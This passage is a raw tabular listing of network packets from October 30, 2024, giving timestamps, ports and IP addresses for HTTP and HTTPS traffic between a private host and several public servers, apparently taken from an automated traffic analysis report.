Oct 30, 2024 04:34:44.895390034 CET	51090	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:44.895399094 CET	443	51090	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:44.900912046 CET	443	51084	20.125.209.212	192.168.2.6
Oct 30, 2024 04:34:44.922144890 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.922169924 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.922182083 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.922202110 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.922214985 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.922219992 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.922231913 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.922240973 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.922245026 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.922259092 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.922283888 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.922296047 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.925625086 CET	443	51084	20.125.209.212	192.168.2.6
Oct 30, 2024 04:34:44.926517963 CET	51084	443	192.168.2.6	20.125.209.212
Oct 30, 2024 04:34:44.927645922 CET	51084	443	192.168.2.6	20.125.209.212
Oct 30, 2024 04:34:44.927654982 CET	443	51084	20.125.209.212	192.168.2.6
Oct 30, 2024 04:34:44.930454016 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.930474043 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.930485010 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.930526972 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.930573940 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.938234091 CET	443	51082	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:44.938321114 CET	443	51082	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:44.938767910 CET	51082	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:44.939951897 CET	443	51087	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:44.950439930 CET	51082	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:44.950459003 CET	443	51082	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:44.950700045 CET	51082	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:44.950715065 CET	443	51082	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:44.951709986 CET	51087	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:44.951725960 CET	443	51087	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:44.952150106 CET	51087	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:44.952155113 CET	443	51087	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:44.954371929 CET	51091	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:44.954401016 CET	443	51091	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:44.955631971 CET	51091	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:44.955897093 CET	51091	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:44.955914021 CET	443	51091	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:44.976025105 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.976037025 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.976104021 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.011630058 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.011674881 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.011687040 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.011696100 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.011723042 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.011725903 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.011739969 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.011776924 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.011795044 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.011801958 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.011815071 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.011826038 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.011845112 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.011892080 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.011892080 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.011893034 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.011935949 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.011960983 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.011972904 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.011986017 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.012015104 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.012023926 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.012034893 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.012061119 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.012069941 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.012079954 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.012090921 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.012111902 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.012116909 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.012125015 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.012136936 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.012161970 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.012183905 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.012197971 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.012240887 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.012250900 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.012264013 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.012274981 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.012305021 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.012305975 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.012345076 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.012366056 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.012403011 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.012415886 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.012424946 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.012461901 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.012461901 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.012512922 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.012526035 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.012537956 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.012552023 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.012556076 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.012582064 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.012582064 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.012599945 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.012638092 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.012676954 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.012712955 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.012713909 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.012726068 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.012758017 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.012784958 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.012799978 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.012811899 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.012824059 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.012845039 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.012881041 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.012881041 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.012922049 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.012980938 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.012989044 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.012994051 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.013020992 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.013041973 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.013062000 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.013073921 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.013079882 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.013139963 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.013145924 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.013171911 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.013184071 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.013190031 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.013197899 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.013210058 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.013211012 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.013230085 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.013250113 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.013406038 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.013453960 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.013454914 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.013467073 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.013497114 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.013525009 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.013555050 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.013567924 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.013578892 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.013597012 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.013617992 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.013637066 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.017014027 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.017066002 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.017071009 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.017083883 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.017107010 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.017117023 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.017148018 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.017153978 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.017191887 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.017200947 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.017205000 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.017242908 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.017244101 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.017297983 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.017311096 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.017322063 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.017333031 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.017354965 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.017407894 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.017451048 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.017463923 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.017473936 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.017501116 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.017545938 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.045268059 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.045288086 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.045305967 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.045316935 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.045321941 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.045329094 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.045342922 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.045346022 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.045356035 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.045367956 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.045368910 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.045392990 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.045408964 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.053683996 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.053704023 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.053718090 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.053744078 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.053751945 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.053765059 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.053767920 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.053778887 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.053798914 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.053828955 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.076734066 CET	443	51087	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:45.076839924 CET	443	51087	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:45.076899052 CET	51087	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:45.086899042 CET	51087	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:45.086908102 CET	443	51087	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:45.086937904 CET	51087	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:45.086941957 CET	443	51087	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:45.096684933 CET	51092	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:45.096697092 CET	443	51092	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:45.096750021 CET	51092	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:45.097101927 CET	51092	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:45.097110987 CET	443	51092	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:45.099241018 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.099253893 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.099298000 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.099344969 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.134958029 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.135030985 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.135046959 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.135081053 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.135128021 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.135164022 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.135186911 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.135217905 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.135272026 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.135349035 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.135396957 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.135449886 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.135468960 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.135521889 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.135536909 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.135569096 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.135595083 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.135639906 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.135672092 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.135718107 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.135746002 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.135792971 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.135823011 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.135869026 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.135895967 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.135924101 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.135945082 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.135986090 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.136014938 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.136056900 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.136070967 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.136101007 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.136142969 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.136187077 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.136202097 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.136236906 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.136267900 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.136327982 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.136347055 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.136383057 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.136405945 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.136437893 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.136457920 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.136481047 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.136526108 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.136560917 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.136583090 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.136610985 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.136635065 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.136668921 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.136696100 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.136723995 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.136748075 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.136791945 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.136818886 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.136852026 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.136876106 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.136903048 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.136941910 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.136987925 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.137016058 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.137052059 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.137072086 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.137099028 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.137125015 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.137173891 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.137202024 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.137248993 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.137269974 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.137293100 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.137339115 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.137372971 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.137397051 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.137439013 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.137453079 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.137482882 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.137506962 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.137578964 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.137607098 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.137640953 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.137665987 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.137701035 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.137718916 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.137753010 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.137774944 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.137801886 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.137830973 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.137864113 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.137885094 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.137907982 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.137937069 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.137969971 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.137991905 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.138021946 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.138044119 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.138077021 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.138101101 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.138132095 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.138156891 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.138200045 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.138214111 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.138242960 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.138267994 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.138300896 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.138325930 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.138358116 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.138379097 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.138411999 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.138432980 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.138458014 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.138489008 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.138521910 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.138545036 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.138561964 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.138592958 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.138627052 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.138650894 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.138679981 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.138704062 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.138745070 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.138760090 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.138787031 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.138813019 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.138854027 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.138869047 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.138891935 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.138921022 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.138953924 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.138974905 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.138999939 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.139028072 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.139080048 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:45.139143944 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:45.139178991 CET	80	50987	185.215.113.206	192.168.2.6
